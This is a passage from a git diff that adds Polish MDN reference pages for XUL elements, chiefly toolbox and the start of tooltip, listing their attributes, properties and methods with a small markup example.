href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbox/index.html b/files/pl/mozilla/tech/xul/toolbox/index.html
new file mode 100644
index 0000000000..d35d0da85a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbox/index.html
@@ -0,0 +1,186 @@
+---
+title: toolbox
+slug: Mozilla/Tech/XUL/toolbox
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbox
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener dla <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Jest to typ pudełka, które domyślnie posiada pionową orientację elementów. Jeśli <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code> jest umieszczony wewnątrz <code>toolbox</code>, to <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code> jest wyświetlany po lewej stronie lub u góry na samym brzegu. Użytkownik może kliknąć <code><a href="/pl/docs/Mozilla/Tech/XUL/grippy" title="grippy">grippy</a></code>, aby zwinąć pasek narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>). Jeśli wiele pasków narzędzi jest umieszczonych w tym samym <code>toolbox</code>, to zostaną one wszystkie zawinięte do tego samego wiersza. Firefox nie posiada grippy, więc paski narzędzi nie mogą być zawinięte i rozwinięte. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">kursie XUL</a>. </p>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-customToolbarCount">customToolbarCount</a>, <a href="#p-palette">palette</a>, <a href="#p-toolbarset">toolbarset</a>
+</dd></dl>
+<dl><dt> Metody </dt><dd> <a href="#m-appendCustomToolbar">appendCustomToolbar</a>, <a href="#m-collapseToolbar">collapseToolbar</a>, <a href="#m-expandToolbar">expandToolbar</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-customToolbarCount">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/customToolbarCount">customToolbarCount</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Liczba pasków narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>) użytkownika aktualnie znajdująca się wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.</dd>
+</dl></div>
+<div id="p-palette">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/palette">palette</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.</dd>
+</dl></div>
+<div id="p-toolbarset">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/toolbarset">toolbarset</a></span></code></dt>
+ <dd>
+ <b><span class="highlightred">Tylko Firefox</span></b></dd>
+ <dd>
+ Typ:
+ <i>
+ element</i>
+ </dd>
+ <dd>
+ <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code> wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Dziedziczy z elementu XUL</strong><br>
+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-appendCustomToolbar"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendCustomToolbar">appendCustomToolbar( name, currentset )</a></code></span>
+</dt><dd> <b><span class="highlightred">Tylko w Firefoksie</span></b>
+</dd><dd> Zwraca typ: <i>element</i>
+</dd><dd> Dodaje własny pasek narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>) do <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code> z daną <var>name</var>. Możemy dostarczyć listę argumentów id pozycji paska narzędzi oddzieloną przecinkiem jako drugi argument, aby dodać domyślnie kilka pozycji. Metoda zwraca element DOM dla tworzonego paska narzędzi. </dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-collapseToolbar"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/collapseToolbar">collapseToolbar( toolbar )</a></code></span>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Zawija dany <var>toolbar</var>, który powinien być zawarty wewnątrz <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-expandToolbar"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/expandToolbar">expandToolbar( toolbar )</a></code></span>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Rozwija dany <var>toolbar</var>, który powinien być zawarty w <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/tooltip/index.html b/files/pl/mozilla/tech/xul/tooltip/index.html
new file mode 100644
index 0000000000..5cdf4eb08b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/tooltip/index.html
@@ -0,0 +1,230 @@
+---
+title: tooltip
+slug: Mozilla/Tech/XUL/tooltip
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/tooltip
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Ten element jest stosowany do wyskakujących podpowiedzi. Dla podpowiedzi tekstowych, to ten element nie musi być zastosowany, zamiast niego możesz dodać tylko atrybut <code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code> do elementu. </p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Wyskakuj%c4%85ce_menu">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty </dt><dd> <a href="#a-crop">crop</a>, <a href="#a-default">default</a>, <a href="#a-label">label</a>, <a href="#a-noautohide">noautohide</a>, <a href="#a-onpopuphidden">onpopuphidden</a>, <a href="#a-onpopuphiding">onpopuphiding</a>, <a href="#a-onpopupshowing">onpopupshowing</a>, <a href="#a-onpopupshown">onpopupshown</a>, <a href="#a-popup.position">position</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-label">label</a>, <a href="#p-popupBoxObject">popupBoxObject</a>, <a href="#p-position">position</a>
+</dd></dl>
+<dl><dt> Metody
+</dt><dd> <a href="#m-hidePopup">hidePopup</a>, <a href="#m-moveTo">moveTo</a>, <a href="#m-showPopup">showPopup</a>, <a href="#m-sizeTo">sizeTo</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_tooltip.png"></div>
+<pre>&lt;tooltip id="moretip" orient="vertical" style="background-color: #33DD00;"&gt;
+ &lt;label value="Click here to see more information"/&gt;
+ &lt;label value="Really!" style="color: red;"/&gt;
+&lt;/tooltip&gt;
+
+&lt;vbox&gt;
+ &lt;button label="Simple" tooltiptext="A simple popup"/&gt;
+ &lt;button label="More" tooltip="moretip"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-crop">
+
